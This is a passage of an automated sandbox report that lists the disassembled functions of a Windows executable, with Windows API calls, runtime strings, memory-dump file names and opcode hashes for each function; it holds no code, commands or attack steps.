
Part of subcall function 00007FF69976D100: RtlCaptureContext.KERNEL32 ref: 00007FF69976D192
Part of subcall function 00007FF69976D100: RtlUnwindEx.KERNEL32 ref: 00007FF69976D1CF
Part of subcall function 00007FF69976D100: abort.MSVCRT ref: 00007FF69976D1D5
Part of subcall function 00007FF69976D100: RaiseException.KERNEL32 ref: 00007FF69976D212

GetCurrentProcess.KERNEL32 ref: 00007FF699714A59
DuplicateHandle.KERNEL32 ref: 00007FF699714A83
GetFileInformationByHandleEx.KERNEL32 ref: 00007FF699714AD4
GetLastError.KERNEL32 ref: 00007FF699714AE0
GetLastError.KERNEL32 ref: 00007FF699715048
CloseHandle.KERNEL32 ref: 00007FF6997150D5

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: Handle$CloseErrorLast$CaptureContextCurrentDuplicateExceptionFileInformationProcessRaiseUnwindabort
String ID:
API String ID: 2398512715-0
Opcode ID: 3f9d3ba5f8cf9a9dbdc0e8823d5924defbe24b305d70f605ddd3a73a9d1875cd
Instruction ID: 920a4ca01d7f5b84ff05c1bc216c3bc9834225013c24ab5082076f71bfd8f708
Opcode Fuzzy Hash: 3f9d3ba5f8cf9a9dbdc0e8823d5924defbe24b305d70f605ddd3a73a9d1875cd
Instruction Fuzzy Hash: 9451AD61A086918AFB70DF6298103AD3AA0FB49BC8F144079EF4D9BB8ADF3DD541C350

Function 00007FF6997149AD Relevance: 7.6, APIs: 5, Instructions: 120COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF6997149C9

Part of subcall function 00007FF69976D100: RtlCaptureContext.KERNEL32 ref: 00007FF69976D192
Part of subcall function 00007FF69976D100: RtlUnwindEx.KERNEL32 ref: 00007FF69976D1CF
Part of subcall function 00007FF69976D100: abort.MSVCRT ref: 00007FF69976D1D5
Part of subcall function 00007FF69976D100: RaiseException.KERNEL32 ref: 00007FF69976D212

GetCurrentProcess.KERNEL32 ref: 00007FF699714A59
DuplicateHandle.KERNEL32 ref: 00007FF699714A83
GetFileInformationByHandleEx.KERNEL32 ref: 00007FF699714AD4
GetLastError.KERNEL32 ref: 00007FF699714AE0
GetLastError.KERNEL32 ref: 00007FF699715048
CloseHandle.KERNEL32 ref: 00007FF6997150D5

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: Handle$CloseErrorLast$CaptureContextCurrentDuplicateExceptionFileInformationProcessRaiseUnwindabort
String ID:
API String ID: 2398512715-0
Opcode ID: 2cbd4b93b1fdbf49ea5ddf19e712c76ba39d30064725973a3d0f1b7b650741c6
Instruction ID: bf874f20eeb86efcdbca10ac6fe704a4148b5208d1556c1d5179334aa5c6c3ad
Opcode Fuzzy Hash: 2cbd4b93b1fdbf49ea5ddf19e712c76ba39d30064725973a3d0f1b7b650741c6
Instruction Fuzzy Hash: 0A518D61A086918AFB70DF6298503AD3AA0FB49BC8F144079EF5D9BB8ADF3DD541C350

Function 00007FF6996CCA22 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 104COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF6996CDDD9
memset.MSVCRT ref: 00007FF6996CDE51
memcpy.MSVCRT ref: 00007FF6996CDE73
memset.MSVCRT ref: 00007FF6996CDE83

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 00007FF6996CCAC7

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: memset$memcpy
String ID: called `Result::unwrap()` on an `Err` value
API String ID: 368790112-2333694755
Opcode ID: 4cbe8cef9f4af3c343089b7fc2546a25a23e1012423a499d9c6326e6b748fc09
Instruction ID: 4e60cbf96919f560377e3830296757d5ade74abddd949156b5d94162372f93ed
Opcode Fuzzy Hash: 4cbe8cef9f4af3c343089b7fc2546a25a23e1012423a499d9c6326e6b748fc09
Instruction Fuzzy Hash: E6418E32A08B8482E735CB26E9513EAB361FB99784F018235EFDD46791CF7DE1968740

Function 00007FF699717830 Relevance: 7.6, APIs: 5, Instructions: 93networkCOMMON

Download Yara Rule

APIs

WSAGetLastError.WS2_32 ref: 00007FF69971789F
connect.WS2_32 ref: 00007FF6997178FB
WSAGetLastError.WS2_32 ref: 00007FF69971790A
ioctlsocket.WS2_32 ref: 00007FF69971793A

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: ErrorLast$connectioctlsocket
String ID:
API String ID: 1971785428-0
Opcode ID: 0db338ea5928d33d7f0d60137e2a4ec9b44759f720c3e057481c14978456a539
Instruction ID: 4f5631792fc7d545d8acead3d1aa6e09f4e44286c97a87145210960a78de5681
Opcode Fuzzy Hash: 0db338ea5928d33d7f0d60137e2a4ec9b44759f720c3e057481c14978456a539
Instruction Fuzzy Hash: EA31FE22A186D196E3309F7598827FA36A8EB453C8F155272DE1C8B3C0EF3CE695C351

Function 00007FF69971FB8B Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF69971FB8D
GetLastError.KERNEL32 ref: 00007FF69971FBA5
GetCurrentProcess.KERNEL32 ref: 00007FF69971FD43
DuplicateHandle.KERNEL32 ref: 00007FF69971FD6D
GetLastError.KERNEL32 ref: 00007FF69971FD7C

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: ErrorHandleLast$CurrentDuplicateProcess
String ID:
API String ID: 3697983210-0
Opcode ID: e16d268964d62feb434ca1289034d1693678657d648a729bbab490d3768ff12e
Instruction ID: ff95601d94a54f875799d55ba27c16d80a7e102192454b24b091af3aa32cc090
Opcode Fuzzy Hash: e16d268964d62feb434ca1289034d1693678657d648a729bbab490d3768ff12e
Instruction Fuzzy Hash: 3E117362E0821145FB30DE70A4163B93590EB493F8F1806B1DEAC9BBC5DE7DE4819751

Function 00007FF69976D980 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 240memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(00007FF69989A1B0,00007FF69989A1B8,00000001,?,?,?,?,?,00007FF6996C1224,?,?,?,00007FF6996C13E6), ref: 00007FF69976DB5D

Strings

%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p., xrefs: 00007FF69976DCCA
Unknown pseudo relocation bit size %d., xrefs: 00007FF69976DCB4
Unknown pseudo relocation protocol version %d., xrefs: 00007FF69976DCD6

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.$%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p.
API String ID: 544645111-1286557213
Opcode ID: 96b70dcdced3092a79e7ce9b1dbf8396ced5d4e9346ba3b35ff7dc70d908fabe
Instruction ID: 423bef30fb74a6b18a7b0955e2e4070d1722e754e135bdc9e6545a4186f6a717
Opcode Fuzzy Hash: 96b70dcdced3092a79e7ce9b1dbf8396ced5d4e9346ba3b35ff7dc70d908fabe
Instruction Fuzzy Hash: BB91E422E2D51787EA305F229D402793261FF957E4F0486B5C92D9FBD8EE2CE801C602

Function 00007FF69971F837 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

FreeEnvironmentStringsW.KERNEL32 ref: 00007FF69971F87C
CloseHandle.KERNEL32 ref: 00007FF69971F923

Strings

program path has no file name, xrefs: 00007FF69971F990
0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character, xrefs: 00007FF69971F941

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: CloseEnvironmentFreeHandleStrings
String ID: program path has no file name$0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character
API String ID: 2431795302-4245703473
Opcode ID: 339552d0491dd970e688072a4d3e833ad330e0bb19627bfc62c7994c053cb7c5
Instruction ID: 17878e04f50de385c0313401c64b0f906045d0b1565ca8ba8976e9bd777b13e5
Opcode Fuzzy Hash: 339552d0491dd970e688072a4d3e833ad330e0bb19627bfc62c7994c053cb7c5
Instruction Fuzzy Hash: 83417F62B1868292EF30AE6299116FA2764FF46BC8F444876DE0DCF796DE3DE541C300

Function 00007FF69971F86C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 92COMMON

Download Yara Rule

APIs

FreeEnvironmentStringsW.KERNEL32 ref: 00007FF69971F87C
CloseHandle.KERNEL32 ref: 00007FF69971F923

Strings

program path has no file name, xrefs: 00007FF69971F990
0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character, xrefs: 00007FF69971F941

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: CloseEnvironmentFreeHandleStrings
String ID: program path has no file name$0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character
API String ID: 2431795302-4245703473
Opcode ID: 5892b2aeae5a605133dc5c31f380f1318e5ef878c0ed1329628f4a0257264dd3
Instruction ID: 457a55dd426730ae21bc7dc149d27539bbb86ac70ee182866203f961d81dac17
Opcode Fuzzy Hash: 5892b2aeae5a605133dc5c31f380f1318e5ef878c0ed1329628f4a0257264dd3
Instruction Fuzzy Hash: CC319062A04A8192EB30AF62DC112FA2764FF46BD4F444876DE0ECB796DE3DE541C340

Function 00007FF69976DD36 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

Strings

CCG , xrefs: 00007FF69976DD55

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID: CCG
API String ID: 0-1584390748
Opcode ID: 7c3cbd8d043dbe7ee500ad9f982921b101fb08654013cfecdcbfb32fbcfe9d66
Instruction ID: 4c41bec00c8d05d506ff6b7818de418ae9abbf2dc8f490c51053e1ab0a64e1a5
Opcode Fuzzy Hash: 7c3cbd8d043dbe7ee500ad9f982921b101fb08654013cfecdcbfb32fbcfe9d66
Instruction Fuzzy Hash: CF216B61E2914243FAB96A6589503783182FF997E0F1989B7CA5DCE3D1DE1CB8D1C213

Function 00007FF699721620 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 00007FF699721634
GetLastError.KERNEL32 ref: 00007FF69972164D
CloseHandle.KERNEL32 ref: 00007FF6997216BD

Strings

SystemTime, xrefs: 00007FF6997216DF

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: CloseErrorHandleLastObjectSingleWait
String ID: SystemTime
API String ID: 2173817864-2656138
Opcode ID: ff0f429e8c35159ba724ebe3e140afce189a4b087dba9546ca4afad030b3a720
Instruction ID: cdc93c39145552987616a48694508c4d1025f6402d92d92ec203072c8f2eb81b
Opcode Fuzzy Hash: ff0f429e8c35159ba724ebe3e140afce189a4b087dba9546ca4afad030b3a720
Instruction Fuzzy Hash: 0421AB22B08B41A8FB209F61E4413FC3774EB04798F640576DE5C9AB95EF39A286C341

Function 00007FF69971351B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54fileCOMMON

Download Yara Rule

APIs

FindNextFileW.KERNEL32 ref: 00007FF699713526
memcpy.MSVCRT ref: 00007FF699713564
GetLastError.KERNEL32 ref: 00007FF69971357F

Strings

., xrefs: 00007FF69971352F

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: ErrorFileFindLastNextmemcpy
String ID: .
API String ID: 3684451505-248832578
Opcode ID: a83ac0a17b572a24873920af1541633784511c8d531b9238f944e5b3122dba3d
Instruction ID: 6902c78cc600e87064f37b201b2e7c100887428f3951d1ea427af2eb3011c49c
Opcode Fuzzy Hash: a83ac0a17b572a24873920af1541633784511c8d531b9238f944e5b3122dba3d
Instruction Fuzzy Hash: D3119122B0461286FB719E65A4513B931A0EB85BC4F984071DE8DCA6C1EF3DE5C2C371

Function 00007FF69972011C Relevance: 6.3, APIs: 5, Instructions: 82COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF699720258
CloseHandle.KERNEL32 ref: 00007FF699720260
CloseHandle.KERNEL32 ref: 00007FF699720268
CloseHandle.KERNEL32 ref: 00007FF699720139

Part of subcall function 00007FF69976D100: RtlCaptureContext.KERNEL32 ref: 00007FF69976D192
Part of subcall function 00007FF69976D100: RtlUnwindEx.KERNEL32 ref: 00007FF69976D1CF
Part of subcall function 00007FF69976D100: abort.MSVCRT ref: 00007FF69976D1D5
Part of subcall function 00007FF69976D100: RaiseException.KERNEL32 ref: 00007FF69976D212

CloseHandle.KERNEL32 ref: 00007FF699720283

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: CloseHandle$CaptureContextExceptionRaiseUnwindabort
String ID:
API String ID: 2844319690-0
Opcode ID: 975a99299f8ffc9ecd3e1650fc6ac5b5f2ae9dc632a12cd14d0f2060783305b7
Instruction ID: cc8bed3706eb2da5a0edaf9cfa68abec6f6ff42a64375a4590f771f1491d5a4d
Opcode Fuzzy Hash: 975a99299f8ffc9ecd3e1650fc6ac5b5f2ae9dc632a12cd14d0f2060783305b7
Instruction Fuzzy Hash: 0C413572A08B5289EB20EF61E8513EC3BB4FB44788F504475DA4C9BB86DF799199C341

Function 00007FF699705700 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 205COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF699705753

Part of subcall function 00007FF699720EF0: GetStdHandle.KERNEL32(-7FFFFFFFFFFFFF58,?,00001000,?,-7FFFFFFFFFFFFF58,?,00000000,00001FF0), ref: 00007FF699720F1F
Part of subcall function 00007FF699720EF0: GetLastError.KERNEL32(-7FFFFFFFFFFFFF58,?,00001000,?,-7FFFFFFFFFFFFF58,?,00000000,00001FF0), ref: 00007FF699720F2F

memcpy.MSVCRT ref: 00007FF699705850

Strings

assertion failed: filled <= self.buf.init, xrefs: 00007FF699705AB8

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: ErrorHandleLastmemcpymemset
String ID: assertion failed: filled <= self.buf.init
API String ID: 3211292799-906094691
Opcode ID: 9f2c9f5d79112fe39365158ab55285c7026b61322db35e62fa8adb01d7bd1f22
Instruction ID: 409948df17b1b696a60f1e7106348b9a4ecd2d63724e2ad0867b69a9f22f286f
Opcode Fuzzy Hash: 9f2c9f5d79112fe39365158ab55285c7026b61322db35e62fa8adb01d7bd1f22
Instruction Fuzzy Hash: CC71BDA2B18B4186EB24CF66D9411B93B62FB44BC8B588875CE1C9B794DF3DE052D300

Function 00007FF699705BB0 Relevance: 6.2, APIs: 4, Instructions: 160COMMON

Download Yara Rule

APIs

freeaddrinfo.WS2_32 ref: 00007FF699705C0B
freeaddrinfo.WS2_32 ref: 00007FF699705D87

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: freeaddrinfo
String ID:
API String ID: 2731292433-0
Opcode ID: 16ed5cc825eb54a38bdbfcfb039228942f1d86979281abac1946a1295f4e2622
Instruction ID: 64c11e81d014afe270b3b5e15a140e4b205d169291f37f2edce89f453d95e73a
Opcode Fuzzy Hash: 16ed5cc825eb54a38bdbfcfb039228942f1d86979281abac1946a1295f4e2622
Instruction Fuzzy Hash: 8D717922A04A918AE724DF75D4412ED77B0FB48B8CF148126EF4D9BB49EF39D9A1C350

Function 00007FF69971B300 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 142COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF69971B35A
memcpy.MSVCRT ref: 00007FF69971B436
CloseHandle.KERNEL32 ref: 00007FF69971B4B4

Strings

0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character, xrefs: 00007FF69971B301, 00007FF69971B3E1

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: memcpy$CloseHandle
String ID: 0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character
API String ID: 2153058950-2658723938
Opcode ID: 5ccdc7d7fc3b5eee296fd75cbb4314273ad49aacba613200f771a09f63a16e49
Instruction ID: fa1fc7f165b4ef6ecdec286fa6be9e261136a5ecea009a71bb4cdea8f2ac6af1
Opcode Fuzzy Hash: 5ccdc7d7fc3b5eee296fd75cbb4314273ad49aacba613200f771a09f63a16e49
Instruction Fuzzy Hash: 3D41F222B08A5196FA35AF1299502B82B50FB4AFD4F484171DF0D8BB96DF3CE5A38300

Function 00007FF699721C00 Relevance: 6.1, APIs: 4, Instructions: 76COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF699721CFA
GetFullPathNameW.KERNEL32 ref: 00007FF699721D0F
GetLastError.KERNEL32 ref: 00007FF699721D1A
GetLastError.KERNEL32 ref: 00007FF699721D33
memcmp.MSVCRT ref: 00007FF699721DB1

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
